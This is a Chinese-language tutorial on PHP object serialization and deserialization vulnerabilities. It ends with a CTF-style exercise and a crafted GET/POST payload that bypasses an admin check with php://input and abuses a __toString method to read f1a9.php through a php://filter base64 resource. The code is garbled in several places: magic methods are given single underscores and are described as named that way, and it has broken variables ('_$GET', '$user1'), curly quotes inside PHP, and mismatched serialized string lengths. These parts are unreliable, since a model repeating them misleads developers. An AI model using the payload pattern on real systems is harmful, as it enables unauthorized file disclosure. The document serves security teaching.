概念&原理

序列化就是使用 serialize() 将对象用字符串的方式进行表示；
反序列化是使用 unserialize() 将序列化的字符串构造成相应的对象，为序列化的逆过程。
序列化的对象可以是class或者是Array\String对象

序列化与反序列化的作用

对象是在内存中存储的数据类型，其寿命随着生成程序的终止而终止。为了将对象的状态保存下来，在需要的时候将其恢复，使用序列化将对象转化为二进制字符串进行保存。用于对象的传递。

对象序列化

示例代码

<?phpclass Person{private $name="Thinking"; private $sex='man'; function say($name,$sex){ echo 'My name is'.$name.'I am a'.$sex; }}serialize(new Person);//结果为:O:6:”Person”:2:{s:12:” Person name”;s:8:”Thinking”;s:11:” Person sex”;s:3:”man”;}$B=array('name'=>'Thinking','sex'=>'man');echo serialize($B);//result:a:2:{s:4:”name”;s:8:”Thinking”;s:3:”sex”;s:3:”man”;} ?>

对于结果：
O:6:”Person”:2:{s:12:” Person name”;s:8:”Thinking”;s:11:” Person sex”;s:3:”man”;}
a:2:{s:4:”name”;s:8:”Thinking”;s:3:”sex”;s:3:”man”;}
结构为：
对象类型：对象名长度："对象名"：对象成员变量个数：{变量1类型：变量名1长度：变量名1；参数1类型：参数1长度：参数1...}
对象类型：用O表示，Array类型用a表示
变量和参数类型：string用s表示，int用i表示，Array用a表示
符号：参数与变量之间用;隔开，同一参数与变量之间的数据用:隔开。

反序列化

概念：将存储好的或者进行传递的序列化后的字符串转化为对象,然后用于对象的操作。
示例;

<?php$saveData = ‘O:6:”Person”:2:{s:12:” Person name”;s:8:”Thinking”;s:11:” Person sex”;s:3:”man”;}’;var_dump(unserialize($saveData));?>//outputclass _PHP_Incomplete_Class#1(3){public $_PHP_Incomplete_Class_Name=>string(6) "Person"public $Person name=>string(8) "Thinking"public $Person sex=>string(3) "man"}

反序列化存在的问题

问题产生的原因：漏洞的根源在于unserialize()函数的参数是可控的。如果反序列化对象中存在魔术方法，而且魔术方法的代码或者变量可控，就可能产生反序列化漏洞。
魔术方法即特殊的函数，魔术函数，其命名以_开头。
反序列化的漏洞中常见的魔术方法：
_construct():在对象创建的时候调用 如使用new操作符创建一个新的实例时，调用该方法。【构造方法】
_destruct()：在脚本运行结束时被自动调用 在销毁一个类之间执行析构方法
_sleep():在对象被序列化的时候调用 该函数必须返回一个数组或者对象，一般返回的是当前的对象$this，返回的 值将被用来做序列化的值，如果不返回，序列化失败
_wakeup()：在反序列化为对象的时候调用
_toString():直接输出对象引用时自动被调用，该方法必须返回一个字符串，否则产生一个E_RECOVERABLE_ERROR级别的错误。

例题

//index.php<?php$user=_$GET["user"];$file=$_GET["file"];$pass=$_GET["pass"];if(isset($user)&&(file_get_contents('$user1','r')==="the user is admin")){echo "hello admin!<br>"; if(preg_match("/f1a9/",$file)){ exit(); }else{ include($file);//class.php $pass=unserialize($pass); echo $pass; }}else{ echo "you are not admin";}?>//class.php<?phpclass Read{//f1a9.php public $file; public function _toString(){ if(isset($this->file)){ echo file_get_contents($this->file);}return "_toString was called";}}?>

构造payload：
GET DATA ：?user=php://input&file=class.php&pass=O:4:”Read”:1:{s:4:”file”;s:57:”php://filter/read=convert.base64-encode/resource=f1a9.php”;}
POST DATA：the user is admin
经过请求可以得到经过base64编码的f1a9.php。